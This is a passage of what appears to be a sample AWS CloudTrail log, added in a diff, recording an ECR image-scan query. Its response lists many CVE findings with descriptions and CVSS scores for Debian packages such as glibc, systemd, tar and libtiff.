by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-13776", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "6.2"}]}, {"name": "CVE-2019-20386", "description": "An issue was discovered in button_open in login/logind-button.c in systemd before 243. When executing the udevadm trigger command, a memory leak may occur.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-20386", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2019-9923", "description": "pax_decode_header in sparse.c in GNU Tar before 1.32 had a NULL pointer dereference when parsing certain archives that have malformed extended headers.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9923", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2005-2541", "description": "Tar 1.15.1 does not properly warn the user when extracting setuid or setgid files, which may allow local users or remote attackers to gain privileges.", "uri": "https://security-tracker.debian.org/tracker/CVE-2005-2541", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "10"}]}, {"name": "CVE-2021-20193", "description": "A flaw was found in the src/list.c of tar 1.33 and earlier. This flaw allows an attacker who can submit a crafted input file to tar to cause uncontrolled consumption of memory. The highest threat from this vulnerability is to system availability." , "uri": "https://security-tracker.debian.org/tracker/CVE-2021-20193", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-17973", "description": "** DISPUTED ** In LibTIFF 4.0.8, there is a heap-based use-after-free in the t2p_writeproc function in tiff2pdf.c. NOTE: there is a third-party report of inability to reproduce this issue.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-17973", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-35521", "description": "A flaw was found in libtiff. Due to a memory allocation failure in tif_read.c, a crafted TIFF file can lead to an abort, resulting in denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-35521", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2014-8130", "description": "The _TIFFmalloc function in tif_unix.c in LibTIFF 4.0.3 does not reject a zero size, which allows remote attackers to cause a denial of service (divide-by-zero error and application crash) via a crafted TIFF image that is mishandled by the TIFFWriteScanline function in tif_write.c, as demonstrated by tiffdither.", "uri": "https://security-tracker.debian.org/tracker/CVE-2014-8130", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff" }, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-5563", "description": "LibTIFF version 4.0.7 is vulnerable to a heap-based buffer over-read in tif_lzw.c resulting in DoS or code execution via a crafted bmp image to tools/bmp2tiff." , "uri": "https://security-tracker.debian.org/tracker/CVE-2017-5563", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff" }, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-35522", "description": "In LibTIFF, there is a memory malloc failure in tif_pixarlog.c. A crafted TIFF document can lead to an abort, resulting in a remote denial of service attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-35522", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff" }, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": - "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-9117", "description": "In LibTIFF 4.0.7, the program processes BMP images without verifying that biWidth and biHeight in the bitmap-information header match the actual input, leading to a heap-based buffer over-read in bmp2tiff.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-9117", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2017-16232", "description": "** DISPUTED ** LibTIFF 4.0.8 has multiple memory leak vulnerabilities, which allow attackers to cause a denial of service (memory consumption), as demonstrated by tif_open.c, tif_lzw.c, and tif_aux.c. NOTE: Third parties were unable to reproduce the issue.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16232", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-10126", "description": "LibTIFF 4.0.9 has a NULL pointer dereference in the jpeg_fdct_16x16 function in jfdctint.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-10126", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2021-22924", "description": "libcurl keeps previously used connections in a connection pool for subsequenttransfers to reuse, if one of them matches the setup.Due to errors in the logic, the config matching function did not take ''issuercert'' into account and it compared the involved paths *case insensitively*,which could lead to libcurl reusing wrong connections.File paths are, or can be, case sensitive on many systems but not all, and caneven vary depending on used file systems.The comparison also didn''t include the ''issuer cert'' which a transfer can setto qualify how to verify the server certificate.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22924", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl" }]}, {"name": "CVE-2021-38115", "description": "read_header_tga in gd_tga.c in the GD Graphics Library (aka LibGD) through 2.3.2 allows remote attackers to cause a denial of service (out-of-bounds read) via a crafted TGA file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-38115", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}]}, {"name": "CVE-2021-3618", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-3618", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}]}], "findingSeverityCounts": {"HIGH": 2, "MEDIUM": 14, "INFORMATIONAL": 63, "LOW": 22, "UNDEFINED": 3}}}, "requestID": "23c19e2d-c48b-4265-b4eb-853e7b325780", "eventID": "6c94a9b2-36dc-43f8-a6dd-4ec839ded8af", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AAAAAAAAAAAAAAAAAAAAA:test@test.com", "arn": "arn:aws:sts::111111111111:assumed-role/role_name/test@test.com", "accountId": "111111111111", "accessKeyId": "AKIAIOSFODNN7EXAMPLE", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AKIAIOSFODNN7EXAMPLE", "arn": "arn:aws:iam::111111111111:role/aws-reserved/test/region/group", "accountId": "111111111111", "userName": "test"}, "webIdFederationData": {}, "attributes": {"creationDate": "2021-08-11T09:42:53Z", "mfaAuthenticated": "false"}}}, "eventTime": "2021-08-11T11:52:27Z", "eventSource": "ecr.amazonaws.com", "eventName": "DescribeImageScanFindings", "awsRegion": "eu-central-1", "sourceIPAddress": "154.16.165.133", "userAgent": "aws-internal/3 aws-sdk-java/1.11.1030 Linux/4.9.273-0.1.ac.226.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.302-b08 java/1.8.0_302 vendor/Oracle_Corporation cfg/retry-mode/legacy", "requestParameters": {"repositoryName": "devsecops/cat_dog_client", "imageId": {"imageDigest": "sha256:a27d73188718a511a1ec1ec788826674b21e097f29873dde734a4dedfbfab1c6"}, "maxResults": 1000}, "responseElements": {"registryId": "111111111111", "repositoryName": "devsecops/cat_dog_client", "imageId": {"imageDigest": "sha256:a27d73188718a511a1ec1ec788826674b21e097f29873dde734a4dedfbfab1c6"}, "imageScanStatus": {"status": "COMPLETE", "description": "The scan was completed successfully."}, "imageScanFindings": {"imageScanCompletedAt": "Aug 11, 2021, 11:30:16 AM", "vulnerabilitySourceUpdatedAt": "Aug 11, 2021, 1:17:52 AM", "findings": [{"name": "CVE-2019-25013", "description": "The iconv feature in the GNU C Library (aka glibc or libc6) through 2.32, when processing invalid multi-byte input sequences in the EUC-KR encoding, may have a buffer over-read.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-25013", "severity": "HIGH", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.1"}]}, {"name": "CVE-2021-33574", "description": "The mq_notify function in the GNU C Library (aka glibc) versions 2.32 and 2.33 has a use-after-free. It may use the notification thread attributes object (passed through its struct sigevent parameter) after it has been freed by the caller, leading to a denial of service (application crash) or possibly unspecified other impact.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-33574", "severity": "HIGH", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-12886", "description": "stack_protect_prologue in cfgexpand.c and stack_protect_epilogue in function.c in GNU Compiler Collection (GCC) 4.1 through 8 (under certain circumstances) generate instruction sequences when targeting ARM targets that spill the address of the stack protector guard, which allows an attacker to bypass the protection of -fstack-protector, -fstack-protector-all, -fstack-protector-strong, and -fstack-protector-explicit against stack overflow by controlling what the stack canary is compared against.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-12886", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "8.3.0-6"}, {"key": "package_name", "value": "gcc-8"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-1751", "description": "An out-of-bounds write vulnerability was found in glibc before 2.31 when handling signal trampolines on PowerPC. Specifically, the backtrace function did not properly check the array bounds when storing the frame address, resulting in a denial of service or potential code execution. The highest threat from this vulnerability is to system availability.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-1751", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:P/I:P/A:C"}, {"key": "CVSS2_SCORE", "value": "5.9"}]}, {"name": "CVE-2021-3326", "description": "The iconv function in the GNU C Library (aka glibc or libc6) 2.32 and earlier, when processing invalid input sequences in the ISO-2022-JP-3 encoding, fails an assertion in the code path and aborts the program, potentially resulting in a denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-3326", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-35942", "description": "The wordexp function in the GNU C Library (aka glibc) through 2.33 may crash or read arbitrary memory in parse_param (in posix/wordexp.c) when called with an untrusted, crafted pattern, potentially resulting in a denial of service or disclosure of information. This occurs because atoi was used but strtoul should have been used to ensure correct calculations.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-35942", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "6.4"}]}, {"name": "CVE-2019-12904", "description": "In Libgcrypt 1.8.4, the C implementation of AES is vulnerable to a flush-and-reload side-channel attack because physical addresses are available to other processes. (The C implementation is used on platforms where an assembly-language implementation is unavailable.)", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-12904", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-6363", "description": "** DISPUTED ** In the GD Graphics Library (aka LibGD) through 2.2.5, there is a heap-based buffer over-read in tiffWriter in gd_tiff.c. NOTE: the vendor says \"In my opinion this issue should not have a CVE, since the GD and GD2 formats are documented to be 'obsolete, and should only be used for development and testing purposes.'\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-6363", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2019-12290", "description": "GNU libidn2 before 2.2.0 fails to perform the roundtrip checks specified in RFC3490 Section 4.2 when converting A-labels to U-labels. This makes it possible in some circumstances for one domain to impersonate another. By creating a malicious domain that matches a target domain except for the inclusion of certain punycoded Unicode characters (that would be discarded when converted first to a Unicode label and then back to an ASCII label), arbitrary domains can be impersonated.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-12290", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.0.5-1+deb10u1"}, {"key": "package_name", "value": "libidn2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-13115", "description": "In libssh2 before 1.9.0, kex_method_diffie_hellman_group_exchange_sha256_key_exchange in kex.c has an integer overflow that could lead to an out-of-bounds read in the way packets are read from the server. A remote attacker who compromises a SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server. This is related to an _libssh2_check_length mistake, and is different from the various issues fixed in 1.8.1, such as CVE-2019-3855.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-13115", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.8.0-2.1"}, {"key": "package_name", "value": "libssh2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2016-9318", "description": "libxml2 2.9.4 and earlier, as used in XMLSec 1.2.23 and earlier and other products, does not offer a flag directly indicating that the current document may be read but other files may not be opened, which makes it easier for remote attackers to conduct XML External Entity (XXE) attacks via a crafted document.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-9318", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.9.4+dfsg1-7+deb10u2"}, {"key": "package_name", "value": "libxml2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-16932", "description": "parser.c in libxml2 before 2.9.5 does not prevent infinite recursion in parameter entities.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16932", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.9.4+dfsg1-7+deb10u2"}, {"key": "package_name", "value": "libxml2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-36309", "description": "ngx_http_lua_module (aka lua-nginx-module) before 0.10.16 in OpenResty allows unsafe characters in an argument when using the API to mutate a URI, or a request or response header.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-36309", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-14155", "description": "libpcre in PCRE before 8.44 allows an integer overflow via a large number after a (?C substring.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-14155", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-3843", "description": "It was discovered that a systemd service that uses DynamicUser property can create a SUID/SGID binary that would be allowed to run as the transient service UID/GID even after the service is terminated. A local attacker may use this flaw to access resources that will be owned by a potentially different service in the future, when the UID/GID will be recycled.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-3843", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "4.6"}]}, {"name": "CVE-2019-3844", "description": "It was discovered that a systemd service that uses DynamicUser property can get new privileges through the execution of SUID binaries, which would allow to create binaries owned by the service transient group with the setgid bit set. A local attacker may use this flaw to access resources that will be owned by a potentially different service in the future, when the GID will be recycled.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-3844", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "4.6"}]}, {"name": "CVE-2016-2781", "description": "chroot in GNU coreutils, when used with --userspec, allows local users to escape to the parent session via a crafted TIOCSTI ioctl call, which pushes characters to the terminal's input buffer.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-2781", "severity": "LOW", "attributes": [{"key": "package_version", "value": "8.30-3"}, {"key": "package_name", "value": "coreutils"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-22898", "description": "curl 7.7 through 7.76.1 suffers from an information disclosure when the `-t` command line option, known as `CURLOPT_TELNETOPTIONS` in libcurl, is used to send variable=content pairs to TELNET servers. Due to a flaw in the option parser for sending NEW_ENV variables, libcurl could be made to pass on uninitialized data from a stack based buffer to the server, resulting in potentially revealing sensitive internal information to the server using a clear-text network protocol.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22898", "severity": "LOW", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "2.6"}]}, {"name": "CVE-2019-15847", "description": "The POWER9 backend in GNU Compiler Collection (GCC) before version 10 could optimize multiple calls of the __builtin_darn intrinsic into a single call, thus reducing the entropy of the random number generator. This occurred because a volatile operation was not specified. For example, within a single execution of a program, the output of every __builtin_darn() call may be the same.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-15847", "severity": "LOW", "attributes": [{"key": "package_version", "value": "8.3.0-6"}, {"key": "package_name", "value": "gcc-8"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-1752", "description": "A use-after-free vulnerability introduced in glibc upstream version 2.14 was found in the way the tilde expansion was carried out. Directory paths containing an initial tilde followed by a valid username were affected by this issue. A local attacker could exploit this flaw by creating a specially crafted path that, when processed by the glob function, would potentially lead to arbitrary code execution. This was fixed in version 2.32.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-1752", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "3.7"}]}, {"name": "CVE-2020-6096", "description": "An exploitable signed comparison vulnerability exists in the ARMv7 memcpy() implementation of GNU glibc 2.30.9000. Calling memcpy() (on ARMv7 targets that utilize the GNU glibc implementation) with a negative value for the 'num' parameter results in a signed comparison vulnerability. If an attacker underflows the 'num' parameter to memcpy(), this vulnerability could lead to undefined behavior such as writing to out-of-bounds memory and potentially remote code execution. Furthermore, this memcpy() implementation allows for program execution to continue in scenarios where a segmentation fault or crash should have occurred. The dangers occur in that subsequent execution and iterations of this code will be executed with this corrupted data.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-6096", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-10029", "description": "The GNU C Library (aka glibc or libc6) before 2.32 could overflow an on-stack buffer during range reduction if an input to an 80-bit long double function contains a non-canonical bit pattern, a seen when passing a 0x5d414141414141410000 value to sinl on x86 targets. This is related to sysdeps/ieee754/ldbl-96/e_rem_pio2l.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-10029", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2020-27618", "description": "The iconv function in the GNU C Library (aka glibc or libc6) 2.32 and earlier, when processing invalid multi-byte input sequences in IBM1364, IBM1371, IBM1388, IBM1390, and IBM1399 encodings, fails to advance the input state, which could lead to an infinite loop in applications, resulting in a denial of service, a different vulnerability from CVE-2016-10228.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-27618", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2016-10228", "description": "The iconv program in the GNU C Library (aka glibc or libc6) 2.31 and earlier, when invoked with multiple suffixes in the destination encoding (TRANSLATE or IGNORE) along with the -c option, enters an infinite loop when processing invalid multi-byte input sequences, leading to a denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-10228", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-19126", "description": "On the x86-64 architecture, the GNU C Library (aka glibc) before 2.31 fails to ignore the LD_PREFER_MAP_32BIT_EXEC environment variable during program execution after a security transition, allowing local attackers to restrict the possible mapping addresses for loaded libraries and thus bypass ASLR for a setuid program.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-19126", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-27645", "description": "The nameserver caching daemon (nscd) in the GNU C Library (aka glibc or libc6) 2.29 through 2.33, when processing a request for netgroup lookup, may crash due to a double-free, potentially resulting in degraded service or Denial of Service on the local system. This is related to netgroupcache.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-27645", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2019-14855", "description": "A flaw was found in the way certificate signatures could be forged using collisions found in the SHA-1 algorithm. An attacker could use this weakness to create forged certificate signatures. This issue affects GnuPG versions before 2.2.18.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-14855", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.2.12-1+deb10u1"}, {"key": "package_name", "value": "gnupg2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-13627", "description": "It was discovered that there was a ECDSA timing attack in the libgcrypt20 cryptographic library. Version affected: 1.8.4-5, 1.7.6-2+deb9u3, and 1.6.3-2+deb8u4. Versions fixed: 1.8.5-2 and 1.6.3-2+deb8u7.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-13627", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.6"}]}, {"name": "CVE-2018-14553", "description": "gdImageClone in gd.c in libgd 2.1.0-rc2 through 2.2.5 has a NULL pointer dereference allowing attackers to crash an application via a specific function call sequence. Only affects PHP when linked with an external libgd (not bundled).", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14553", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-36086", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in cil_reset_classpermission (called from cil_reset_classperms_set and cil_reset_classperms_list).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36086", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36085", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in __cil_verify_classperms (called from __verify_map_perm_classperms and hashtab_map).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36085", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36087", "description": "The CIL compiler in SELinux 3.2 has a heap-based buffer over-read in ebitmap_match_any (called indirectly from cil_check_neverallow). This occurs because there is sometimes a lack of checks for invalid statements in an optional block.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36087", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36084", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in __cil_verify_classperms (called from __cil_verify_classpermission and __cil_pre_verify_helper).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36084", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2019-17498", 